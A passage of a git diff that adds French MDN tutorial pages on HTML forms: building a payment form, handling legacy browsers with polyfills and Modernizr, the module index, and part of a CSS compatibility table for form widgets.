Mettons ces idées en pratique et construisons une structure de formulaire un peu plus sophistiquée — un formulaire de paiement. Il contiendra un certain nombre de types de widgets que vous ne comprenez pas encore — ne vous inquiétez pas pour l'instant ; vous découvrirez comment ils fonctionnent dans l'article suivant (Les widgets natifs pour formulaire). Pour l'instant, lisez attentivement les descriptions en suivant les instructions ci-dessous et commencez à vous faire une idée des éléments enveloppes que nous utilisons pour structurer le formulaire, et pourquoi.

+ +
    +
  1. Pour commencer, faites une copie locale de notre fichier modèle vierge et des CSS pour notre formulaire de paiement dans un nouveau répertoire.
    2. +
  2. Primo, appliquez les CSS au HTML en ajoutant la ligne suivante dans l'élément {{htmlelement("head")}} du HTML : + 
    <link href="payment-form.css" rel="stylesheet">
    +
    3. +
  3. Ensuite, commencez le formulaire en ajoutant un élément {{htmlelement("form")}} : + 
    <form>
+
+</form>
    +
    4. +
  4. Entre les balises <form>, ajoutez un en‑tête et un paragraphe pour informer les utilisateurs comment sont marqués les champs obligatoires : + 
    <h1>Formulaire de paiement</h1>
+<p>Les champs obligatoires sont suivis par un <strong><abbr title="required">*</abbr></strong>.</p>
    +
    5. +
  5. Ensuite, nous ajoutons une grande section de code dans le formulaire, sous la précédente. Ici vous verrez que nous enveloppons les champs d'informations de contact dans des éléments {{htmlelement("section")}} distincts. De plus, nous avons un ensemble de deux boutons radio, que nous mettons chacun à l'intérieur de leur propre élément de liste ({{htmlelement("li")}}). Enfin, nous avons deux zones de texte standard {{htmlelement("input")}} et leurs éléments {{htmlelement("label")}} associés, chacun contenu dans un élément {{htmlelement("p")}}, plus une entrée pour le mot de passe. Ajoutez ce code à votre formulaire maintenant : + 
    <section>
+    <h2>Informations de contact</h2>
+    <fieldset>
+      <legend>Qualité</legend>
+      <ul>
+          <li>
+            <label for="title_1">
+              <input type="radio" id="title_1" name="title" value="M." >
+              Monsieur
+            </label>
+          </li>
+          <li>
+            <label for="title_2">
+              <input type="radio" id="title_2" name="title" value="Mme.">
+              Madame
+            </label>
+          </li>
+      </ul>
+    </fieldset>
+    <p>
+      <label for="name">
+        <span>Nom : </span>
+        <strong><abbr title="required">*</abbr></strong>
+      </label>
+      <input type="text" id="name" name="username">
+    </p>
+    <p>
+      <label for="mail">
+        <span>e-mail :</span>
+        <strong><abbr title="required">*</abbr></strong>
+      </label>
+      <input type="email" id="mail" name="usermail">
+    </p>
+    <p>
+      <label for="pwd">
+        <span>Mot de passe :</span>
+        <strong><abbr title="required">*</abbr></strong>
+      </label>
+      <input type="password" id="pwd" name="password">
+    </p>
+</section>
    +
    6. +
  6. Nous arrivons maintenant à la deuxième <section> de notre formulaire — l'information de paiement. Ici nous avons trois widgets distincts avec leur étiquette, chacun contenu dans un paragraphe <p>. Le premier est un menu déroulant ({{htmlelement("select")}}) pour le choix du type de la carte de crédit. Le deuxième  est un élément <input> de type nombre pour entrer le numéro de la carte de crédit. Le dernier est un élément <input> de type date pour entrer la date d'expiration de la carte de crédit (il sera accompagné d'un widget dateur pour les navigateurs prenant en charge cette fonctionnalité, et sera un simple champ textuel pour les navigateurs ne la prenant pas en charge). À nouveau, entrez ce qui suit après la section ci‑dessus : + 
    
+<section>
+    <h2>Informations de paiement</h2>
+    <p>
+      <label for="card">
+        <span>Type de carte :</span>
+      </label>
+      <select id="card" name="usercard">
+        <option value="visa">Visa</option>
+        <option value="mc">Mastercard</option>
+        <option value="amex">American Express</option>
+      </select>
+    </p>
+    <p>
+      <label for="number">
+        <span>Numéro de carte :</span>
+        <strong><abbr title="required">*</abbr></strong>
+      </label>
+      <input type="text" id="number" name="cardnumber">
+    </p>
+    <p>
+      <label for="date">
+        <span>Validité :</span>
+        <strong><abbr title="required">*</abbr></strong>
+        <em>format mm/aa</em>
+      </label>
+      <input type="text" id="date" name="expiration">
+    </p>
+</section>
    +
    7. +
  7. La dernière section est plus simple ; elle ne contient qu'un bouton {{htmlelement("button")}} de type submit, pour adresser les données du formulaire. Ajoutez ceci au bas du formulaire : + 
    <p> <button type="submit">Valider le paiement</button> </p>
    +
    8. +
+ +

Vous pouvez voir le formulaire terminé en action ci‑dessous (vous le trouverez aussi sur GitHub — voir la source payment-form.html et une exécution directe):

+ +

{{EmbedLiveSample("Un_formulaire_de_paiement","100%","620", "", "Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/Exemple")}}

+ +

Résumé

+ +

Nous savons maintenant ce qu'il faut faire pour structurer de manière appropriée un formulaire HTML ; l'article suivant approfondira la mise en œuvre  des divers types de widgets pour formulaire pour collecter les informations utilisateur.

+ +

Voir aussi

+ + + +

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/html_forms_in_legacy_browsers/index.html b/files/fr/learn/forms/html_forms_in_legacy_browsers/index.html new file mode 100644 index 0000000000..6c1d043659 --- /dev/null +++ b/files/fr/learn/forms/html_forms_in_legacy_browsers/index.html @@ -0,0 +1,220 @@ +--- +title: Formulaires HTML dans les navigateurs historiques +slug: Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers +translation_of: Learn/Forms/HTML_forms_in_legacy_browsers +--- +
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}}
+ +

Tout développeur apprend très rapidement (parfois difficilement) que le Web est un endroit assez inconfortable. Le pire des fléaux est le « navigateur historique ». Oui, admettons‑le, si on dit « navigateur historique », nous pensons tous aux anciennes versions d'Internet Explorer ... mais elles sont loin d'être les seules. Les premières versions de Firefox, comme la version ESR, sont aussi des « navigateurs historiques ». Et dans le monde du mobile ? Quand ni le navigateur ni l'OS ne peut être mis à jour? Oui, il y a beaucoup de vieux smartphones Android ou des iPhones dont le navigateur par défaut n'est pas à jour. Ceux-ci sont aussi des « navigateurs historiques ».

+ +

Malheureusement, parcourir cette jungle est une facette du métier. Mais opportunément, il existe quelques astuces pour nous aider à résoudre 80 % des problèmes causés par ces vieilles versions de navigateur.

+ +

S'informer sur les difficultés

+ +

En fait, lire la documentation sur ces navigateurs est la chose la plus importante pour essayer de comprendre les modèles communs. Par exemple, la prise en charge des CSS est un problème majeur du formulaire HTML dans la plupart des cas. Vous êtes au bon endroit pour commencer. Il suffit de vérifier la prise en charge des éléments (ou interface DOM) que vous voulez utiliser. MDN dispose de tables de compatibilité pour de nombreux éléments, propriétés ou API pouvant être utilisées dans une page Web. Mais il existe d'autres ressources étonnamment utiles :

+ +

Documentation du fournisseur du navigateur

+ + + +

Documentation indépendante

+ +
    +
  • Can I Use a des informations sur la prise en charge des techniques avancées. 
    • +
  • Quirks Mode est une surprenante ressource sur la compatibilité des divers navigateurs. La partie sur les mobiles est la meilleure actuellement disponible.
    • +
  • Position Is Everything est la meilleure ressource disponible sur les bogues de rendu dans les navigateurs historiques et leur solution de contournement (le cas échéant).
    • +
  • Mobile HTML5 dispose d'informations de compatibilité pour une large gamme de navigateurs pour mobiles, et pas seulement pour le « top 5 » (y compris Nokia, Amazon et Blackberry).
    • +
+ +

Rendre les choses simples

+ +

 

+ +

Comme les formulaires HTML impliquent des interactions complexes, une règle empirique : restez aussi simple que possible. Il y a tant de cas où nous voudrions que des formulaires soient  « plus beaux » ou « avec des fonctionnalités avancées » ! Mais construire des formulaires HTML efficaces n'est pas une question de design ou de technique. Pour rappel, prenez le temps de lire cet article sur l'ergonomie des formulaires sur UX For The Masses (en anglais).

+ +

La simplification élégante est la meilleure amie du développeur Web

+ +

Une simplification élégante et des améliorations progressives sont des modèles de développement qui permettent de construire des grands projets prenant en charge une large gamme de navigateurs simultanément. Quand vous créez quelque chose pour un navigateur moderne, et que vous voudriez être sûrs que, l'un l'autre, il fonctionne sur des navigateurs historiques, vous faites de la simplification élégante.

+ +

Voyons quelques exemples relatifs aux formulaires en HTML.

+ +

Types d'entrées en HTML

+ +

Les nouveaux types d'entrées amenés par HTML5 sont très sympas car la façon dont ils simplifient est grandement prévisible. Si un navigateur ne connaît pas la valeur de l'attribut {{htmlattrxref("type","input")}} d'un élément {{HTMLElement("input")}}, il prendra une valeur text en recours.

+ +
<label for="myColor">
+ Choisir une couleur
+  <input type="color" id="myColor" name="color">
+</label>
+ + + + + + + + + + + + + + +
Chrome 24Firefox 18
Capture d'écran de l'entrée de couleur sur Chrome pour Mac OSXCapture d'écran de l'entrée de couleur sur Firefox
+ +

Sélecteurs d'attributs CSS

+ +

Les sélecteurs d'attributs CSS sont très utiles avec les formulaires HTML, mais certains navigateurs historiques ne les prennent pas en charge. Dans ce cas, il est courant de doubler le type avec une classe équivalente :

+ +
<input type="number" class="number">
+ +
input[type=number] {
+  /* Ceci peut échouer avec certains navigateurs */
+}
+
+input.number {
+  /* Ceci fonctionne partout */
+}
+ +

Notez que ce qui suit n'est pas utile (car redondant) et peut échouer dans certains navigateurs :

+ +
input[type=number],
+input.number {
+  /* Ceci peut échouer dans certains navigateurs ; s'il ne comprennent pas
+     l'un des sélecteurs, il sautent la totalité de la règle */
+}
+ +

Boutons et formulaires

+ +

Il y a deux manières de définir un bouton dans un formulaire HTML :

+ +
    +
  • un élément {{HTMLElement("input")}} avec un attribut {htmlattrxref("type","input")}} défini avec une des valeurs button, submit, reset ou image
    • +
  • un élément {{HTMLElement("button")}}
    • +
+ +

L'élément {{HTMLElement("input")}} peut rendre les choses compliquées si vous voulez appliquer des CSS avec un sélecteur d'élément :

+ +
<input type="button" class="button" value="Cliquez‑moi">
+ +
input {
+  /* Cette règle annule le rendu par défaut défini avec un élément input */
+  border: 1px solid #CCC;
+}
+
+input.button {
+  /* Le rendu par défaut N'EST PAS restauré avec ceci */
+  border: none;
+}
+
+input.button {
+  /* Avec ceci non plus ! En fait, il n'y a pas de méthode standard pour
+     le faire quel que soit le navigateur */
+  border: auto;
+}
+ +

L'élément {{HTMLElement("button")}} présente deux problèmes potentiels :

+ +
    +
  • +

    un bogue dans certaines anciennes versions d'Internet Explorer. Lorsque l'utilisateur clique sur le bouton, ce n'est pas le contenu de l'attribut {{htmlattrxref("value", "button")}} qui est envoyé, mais le contenu HTML disponible entre balises de début et de fin de l'élément {{HTMLElement("button")}}. Ce n'est un problème que si vous voulez envoyer une telle valeur, par exemple si le traitement des données dépend du bouton sur lequel l'utilisateur clique.

    +
    • +
  • certains navigateurs très anciens n'utilisent pas submit comme valeur par défaut  pour l'attribut {{htmlattrxref("type","button")}}, donc il est recommandé de toujours définir l'attribut {{htmlattrxref("type","button")}} pour les éléments {{HTMLElement("button")}}.
    • +
+ +
<!-- Cliquer sur ce boutton envoie « <em>Do A</em> » au lieu de « A » dans certains cas -->
+<button type="submit" name="IWantTo" value="A">
+  <em>Do A</em>
+</button>
+ +

Le choix de l'une ou l'autre solution vous appartient, selon les contraintes du projet.

+ +

Laissez tomber les CSS

+ +

Le plus gros problème avec les formulaires HTML et les navigateurs historiques est la prise en charge des CSS. Comme vous pouvez le constater, vu la complexité de la Table de compatibilité des propriétés pour les widgets de formulaire, c'est très difficile. Même s'il est toujours possible de faire quelques ajustements sur les éléments de texte (comme la taille ou la couleur de police), il y a toujours des effets secondaires. La meilleure approche reste de ne faire aucune composition des widgets de formulaire HTML. Mais vous pouvez toujours appliquer des styles à tous les éléments environnants. Si vous êtes un professionnel et que votre client le réclame, dans ce cas, vous pouvez étudier certaines techniques difficiles telles que la construction de widgets avec JavaScript. Mais dans ce cas, n'hésitez pas à facturer votre client pour ce caprice.

+ +

Détection de fonctionnalité et prothèses d'émulation (polyfills)

+ +

Bien que JavaScript soit un langage de programmation remarquable pour les navigateurs modernes, les navigateurs historiques ont de nombreux problèmes avec cette technique.

+ +

JavaScript non obstructif

+ +

Un des plus gros problèmes est la disponibilité des API. Pour cette raison, il est considéré comme de bonne pratique de travailler avec du JavaScript « non obstructif ». C'est un modèle de développement défini par deux obligations :

+ +
    +
  • une séparation stricte entre structure et comportement.
    • +
  • si le fil du code casse, le contenu et les fonctionnalités de base doivent rester accessibles et utilisables.
    • +
+ +

Les principes d'un JavaScript non obstructif (écrit à l'origine par Peter-Paul Koch pour Dev.Opera.com et maintenant mis sur Docs.WebPlatform.org) descrit très bien ces idées.

+ +

La bibliothèque Modernizr

+ +

Dans de nombreux cas, une bonne prothèse d'émulation (« polyfill ») peut aider en fournissant une API manquante. Un « polyfill » est un petit morceau de JavaScript qui « remplit un trou » dans les fonctionnalités des navigateurs historiques. Bien qu'ils puissent être utilisés pour améliorer la prise en charge de n'importe quelle fonctionnalité, leur utilisation dans le JavaScript est moins risquée que dans les CSS ou le HTML ; il existe de nombreux cas où JavaScript peut casser (problèmes de réseau, conflits de script, etc.). Mais avec le JavaScript, à condition de travailler avec un JavaScript non obstructif, si les polyfills manquent, ce ne sera pas grave.

+ +

La meilleure façon de remplir un trou d'API manquante consiste à utiliser la bibliothèque Modernizr et son projet dérivé : YepNope. Modernizr est une bibliothèque qui vous permet de tester la disponibilité d'une fonctionnalité pour une action en accord. YepNope est une bibliothèqe de chargements conditionnels.

+ +

Voici un exemple :

+ +
Modernizr.load({
+  // Cette ligne teste si le navigateur prend en charge l'API
+  // de validation de formulaires HTML5
+  test : Modernizr.formvalidation,
+
+  // Si ce n'est pas le cas, le polyfill suivant sera chargé
+  nope : form-validation-API-polyfill.js,
+
+  // En tout cas, le fichier au cœur de l'application, et dont elle dépend,
+  // est chargé
+  both : app.js,
+
+  // Une fois les deux fichiers chargés, cette fonction est appelée
+  // dans le but d'initialiser l'application
+  complete : function () {
+    app.init();
+  }
+});
+ +

L'équipe de Modernizr fait une maintenance opportune de grande liste de « polyfills ». Prenez celui dont vous avez besoin.

+ +
+

Note : Modernizr a d'autres fonctionnalités remarquables pour faciliter le traitement du JavaScript non obstructif et les tecniques de simplifications élégantes. Prenez connaissance de  la documentation de Modernizr.

+
+ +

Faites attention aux performances

+ +

Même si des scripts comme Modernizr sont très attentifs aux performances, le chargement d'un polyfill de 200 kilooctets peut affecter les performances de votre application.  Ceci est particulièrement critique avec les navigateurs historiques ; beaucoup d'entre eux ont un moteur JavaScript très lent qui peut rendre l'exécution de tous vos polyfills pénibles pour l'utilisateur. La performance est un sujet en soi ; les navigateurs historiques y sont très sensibles : fondamentalement, ils sont lents et ils ont plus besoin de polyfills, et donc ils ont besoin de traiter encore plus de JavaScript. Ils sont donc doublement surchargés par rapport aux navigateurs modernes. Testez votre code avec les navigateurs historiques pour voir comment leur fonctionnement en conditions réelles. Parfois, l'abandon de certaines fonctionnalités amène un meilleur ressenti pour l'utilisateur que d'avoir exactement la même fonctionnalité dans tous les navigateurs. Dernier rappel : pensez toujours à l'utilisateur final.

+ +

Conclusion

+ +

Comme vous pouvez le constater, opérer avec des navigateurs historiques  n'est pas qu'une question de formulaires. C'est tout un ensemble de techniques ; mais les maîtriser toutes dépasserait le cadre de cet article.

+ +

Si vous avez lu tous les articles de ce guide à propos des formulaires en HTML, vous devriez maintenant être à l'aise avec leur utilisation. Si vous trouvez de nouvelles techniques ou de nouvelles astuces, aidez‑nous à améliorer ce guide.

+ +

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/index.html b/files/fr/learn/forms/index.html new file mode 100644 index 0000000000..9927bd3385 --- /dev/null +++ b/files/fr/learn/forms/index.html @@ -0,0 +1,81 @@ +--- +title: Formulaires HTML +slug: Web/Guide/HTML/Formulaires +tags: + - Apprentissage + - Featured + - Formulaires + - Guide + - HTML + - Web +translation_of: Learn/Forms +--- +

{{learnSidebar}}

+ +
+

Ce guide est constitué d'une série d'articles qui vous aideront à maîtriser les formulaires HTML. Les formulaires HTML sont des outils très puissants pour interagir avec l'utilisateur ; toutefois, à cause de raisons historiques et techniques, il n'est pas forcément évident de savoir comment les utiliser de manière optimale. Nous allons aborder tous les aspects des formulaires HTML, de la structure à la décoration, de la gestion des données aux widgets sur-mesure.

+
+ +

Prérequis

+ +

Avant de vous lancer dans  ce module, vous devez au moins avoir travaillé notre Introduction au HTML. À partir de là, vous devriez trouver les {{anch("Éléments de base")}} faciles à comprendre et également être capable de vous servir du guide pour  les widgets natifs pour formulaire.

+ +

Le reste du module est toutefois un peu plus difficile — il est facile de placer des widgets de formulaire dans une page, mais vous ne pourrez pas en faire vraiment quelque chose sans utiliser quelques fonctionnalités plus avancées, les CSS et le JavaScript. C'est pourquoi, avant de regarder ces autres parties, nous vous recommandons de faire un détour et de procéder d'abord à l'étude des CSS et du JavaScript.

+ +
+

Note : Si vous travaillez sur un ordinateur/tablette/autre appareil sur lequel vous n'avez pas la possiblité de créer vos propres fichiers, vous pourrez essayer (la pluspart) des exemples de code sur un programme de codage en ligne comme JSBin ou Thimble.

+
+ +

Éléments de base

+ +
+
Mon premier formulaire HTML
+
Le premier article de notre série vous donne une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et le comment de l'envoi des données à un serveur.
+
Comment structurer un formulaire HTML
+
Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire.
+
+ +

Quels sont les widgets pour formulaire disponibles ?

+ +
+
Les widgets natifs pour formulaire
+
Nous examinons maintenant en détail les fonctionnalités des widgets pour formulaire, en regardant quelles sont les options disponibles pour collecter différentes types de données.
+
+ +

Validation et soumission des données de formulaires

+ +
+
Envoi des données de formulaire
+
Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire.
+
Validation des données de formulaire
+
Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont de format correct pour pouvoir les traiter correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser nos applications. La validation et la soumission des données des formulaires vous aidera à remplir ces objectifs — cet article indique ce qui est nécessaire de savoir.
+
+ +

Guides avancés

+ +
+
Comment construire des widgets de formulaires personnalisés
+
Nous allons voir quelques cas où les widgets natifs ne donnent pas ce dont vous avez besoin, pour des raisons fonctionnelles ou de style par exemple. Dans de tels cas, vous pouvez avoir besoin de construire vous même un widget de formulaire en dehors du HTML brut. Cet article explique comment faire, ainsi que les considérations à prendre en compte ce faisant, le tout à l'aide de l'étude d'un cas particulier.
+
Envoi de formulaires à l'aide du JavaScript
+
Cet article examine les manières d'utiliser un formulaire pour assembler une requête HTTP et l'adresser par l'intermédiaire d'un JavaScript personnalisé, au lieu d'une soumission standard de formulaire. Il examine aussi pourquoi vous pouvez souhaiter faire ainsi et ce que cela implique corrélativement. (Voir aussi « Utilisation des objets FormData ».)
+
Formulaires HTML dans les navigateurs anciens
+
Cet article couvre les détections de fonctionnalité, etc. Elles doivent être redirigées dans le module de tests croisés entre navigateurs, car la même problématique y sera mieux traitée.
+
+ +

Guides de mise en forme des formulaires

+ +
+
Mise en forme des formulaires HTML
+
Cet article est une introduction à la mise en forme des formulaires à l'aide des CSS, y compris tous les éléments de base qu'il est nécessaire de connaître pour les tâches de décoration élémentaires.
+
Mise en forme avancée des formulaires HTML
+
Dans cet article, nous regarderons des techniques de mise en forme plus avancées qu'il est nécessaire d'utiliser pour opérer sur les éléments les plus difficiles à traiter.
+
Tableau de compatibilité des propriétés entre widgets de formulaire
+
Ce dernier article fournit un référentiel pratique vous permettant de rechercher quelles propriétés des CSS sont compatibles avec tel ou tel élément de formulaire.
+
+ +

Voir aussi

+ + diff --git a/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.html b/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.html new file mode 100644 index 0000000000..eacb5640ef --- /dev/null +++ b/files/fr/learn/forms/property_compatibility_table_for_form_controls/index.html @@ -0,0 +1,1991 @@ +--- +title: Table de compatibilité des propriétés pour les widgets de formulaire +slug: Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets +tags: + - Avancé + - CSS + - Formulaires + - Guide + - HTML + - Indésirables + - Mises à jour + - Web +translation_of: Learn/Forms/Property_compatibility_table_for_form_controls +--- +
{{learnsidebar}}{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}
+ +

Les tables de compatibilité suivantes tentent de résumer l'état de la prise en charge des CSS par les formulaires HTML. Eu égard à la complexité des CSS et des formulaires HTML, ces tables ne peuvent pas être considérées comme un élément de référence parfait. Toutefois, elles vous donneront un bon aperçu de ce qui peut et de ce qui ne peut pas être fait, ce qui vous aidera à apprendre comment faire les choses.

+ +

Comment lire les tables

+ +

Valeurs

+ +

Pour chaque propriété, il y a quatre valeurs possibles :

+ +
+
OUI
+
La prise en charge de la propriété est raisonnablement cohérente d'un navigateur à l'autre. Il se peut que vous soyez encore confronté à des effets collatéraux étranges dans certains cas limites.
+
PARTIEL
+
Bien que la propriété soit acceptée, vous pouvez fréquemment être confronté à des effets collatéraux bizarres ou à des incohérences. Vous devriez probablement éviter ces propriétés si vous n'avez pas d'abord maîtrisé ces effets secondaires.
+
NON
+
La propriété ne fonctionne tout simplement pas ou est si incohérente qu'elle n'est pas fiable.
+
N.A.
+
La propriété n'a aucune signification pour ce type de widget.
+
+ +

Rendu

+ +

Pour chaque propriété il y a deux rendus possibles :

+ +
+
N (Normal)
+
Indique que la propriété est appliquée telle quelle.
+
A (Altéré)
+
Indique que la propriété est appliquée avec la règle supplémentaire ci-dessous :
+
+ +
* {
+/* Ceci désactive l'aspect et le comportement natif des navigateurs basés sur WebKit. */
+  -webkit-appearance: none;
+
+/* Ceci désactive l'aspect et le comportement natif des navigateurs basés sur Gecko. */
+  -moz-appearance: none;
+
+/* Ceci désactive l'aspect et le comportement natif sur plusieurs divers navigateurs
+   y compris Opera, Internet Explorer et Firefox */
+  background: none;
+}
+ +

Tables de compatibilité

+ +

Comportements globaux

+ +

Certains comportements sont communs à de nombreux navigateurs au niveau global :

+ +
+
{{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}}
+
L'utilisation de l'une de ces propriétés peut désactiver partiellement ou totalement l'aspect natif des widgets sur certains navigateurs. Prudence lorsque vous les utilisez.
+
{{cssxref("line-height")}}
+
Cette propriété est prise en charge de manière non cohérente d'un navigateur à l'autre et vous devriez l'éviter.
+
{{cssxref("text-decoration")}}
+
Cette propriété n'est pas prise en charge par Opera sur les widgets de formulaire.
+
{{cssxref("text-overflow")}}
+
Opera, Safari et IE9 ne prennent pas en charge cette propriété sur les widgets de formulaire.
+
{{cssxref("text-shadow")}}
+
Opera ne prend pas en charge {{cssxref("text-shadow")}} sur les widgets de formulaire et IE9 ne le prend pas du tout en charge.
+
+ +

Champs texte

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}Partiel[1][2]Oui +
    +
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche.
    2. +
  2. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    3. +
+
{{cssxref("border")}}Partiel[1][2]Oui +
    +
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche.
    2. +
  2. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    3. +
+
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1][2]Oui +
    +
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche.
    2. +
  2. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    3. +
+
Texte et polices
{{cssxref("color")}}[1]OuiOui +
    +
  1. Si la propriété {{cssxref("border-color")}} n'est pas mentionnée, certains navigateurs fondés sur WebKit appliqueront la propriété {{cssxref("color")}} aussi bien à la bordure qu'à la police avec l'élément {{HTMLElement("textarea")}}.
    2. +
+
{{cssxref("font")}}OuiOuiVoir la note à propos de {{cssxref("line-height")}}
{{cssxref("letter-spacing")}}OuiOui 
{{cssxref("text-align")}}OuiOui 
{{cssxref("text-decoration")}}PartielPartielVoir la note à propos de Opera
{{cssxref("text-indent")}}Partiel[1]Partiel[1] +
    +
  1. IE9 prend en charge cette propriété uniquement sur les éléments {{HTMLElement("textarea")}}, alors que Opera ne la prend en charge que sur les champs texte sur une ligne.
    2. +
+
{{cssxref("text-overflow")}}PartielPartiel 
{{cssxref("text-shadow")}}PartielPartiel 
{{cssxref("text-transform")}}OuiOui 
Bordure et arrière-plan
{{cssxref("background")}}Partiel[1]Oui +
    +
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    2. +
+
{{cssxref("border-radius")}}Partiel[1][2]Oui +
    +
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    2. +
  2. Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.
    3. +
+
{{cssxref("box-shadow")}}NonPartiel[1] +
    +
  1. IE9 ne prend pas en charge cette propriété.
    2. +
+
+ +

Boutons

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}Partiel[1]Oui +
    +
  1. Cette propriété n'est pas appliquée sur les navigateurs fondés sur WebKit sur Mac OSX ou iOS.
    2. +
+
{{cssxref("border")}}PartielOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1]Oui +
    +
  1. Cette propriété n'est pas appliquée sur les navigateurs fondés sur WebKit sur Mac OSX ou iOS.
    2. +
+
Texte et polices
{{cssxref("color")}}OuiOui 
{{cssxref("font")}}OuiOuiVoir la note à propos de {{cssxref("line-height")}}.
{{cssxref("letter-spacing")}}OuiOui 
{{cssxref("text-align")}}NonNon 
{{cssxref("text-decoration")}}PartielOui 
{{cssxref("text-indent")}}OuiOui 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}PartielPartiel 
{{cssxref("text-transform")}}OuiOui 
Bordure et arrière-plan
{{cssxref("background")}}OuiOui 
{{cssxref("border-radius")}}Yes[1]Yes[1] +
    +
  1. Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.
    2. +
+
{{cssxref("box-shadow")}}NonPartiel[1] +
    +
  1. IE9 ne prend pas en charge cette propriété.
    2. +
+
+ +

Widget number

+ +

Sur les navigateurs qui implémentent le widget number, il n'y a pas de méthode standard pour changer le style des roulettes utilisées pour changer la valeur du champ. Il est à noter que les roulettes de Safari sont en dehors du champ.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}Partiel[1]Partiel[1] +
    +
  1. Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu du champ.
    2. +
+
{{cssxref("border")}}OuiOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1]Partiel[1] +
    +
  1. Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu du champ.
    2. +
+
Texte et polices
{{cssxref("color")}}OuiOui 
{{cssxref("font")}}OuiOuiVoir la note à propos de {{cssxref("line-height")}}.
{{cssxref("letter-spacing")}}OuiOui 
{{cssxref("text-align")}}OuiOui 
{{cssxref("text-decoration")}}PartielPartiel 
{{cssxref("text-indent")}}OuiOui 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}PartielPartiel 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière‑plan
{{cssxref("background")}}NonNon +

Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.

+
{{cssxref("border-radius")}}NonNon
{{cssxref("box-shadow")}}NonNon
+ +

Cases à cocher et boutons radio

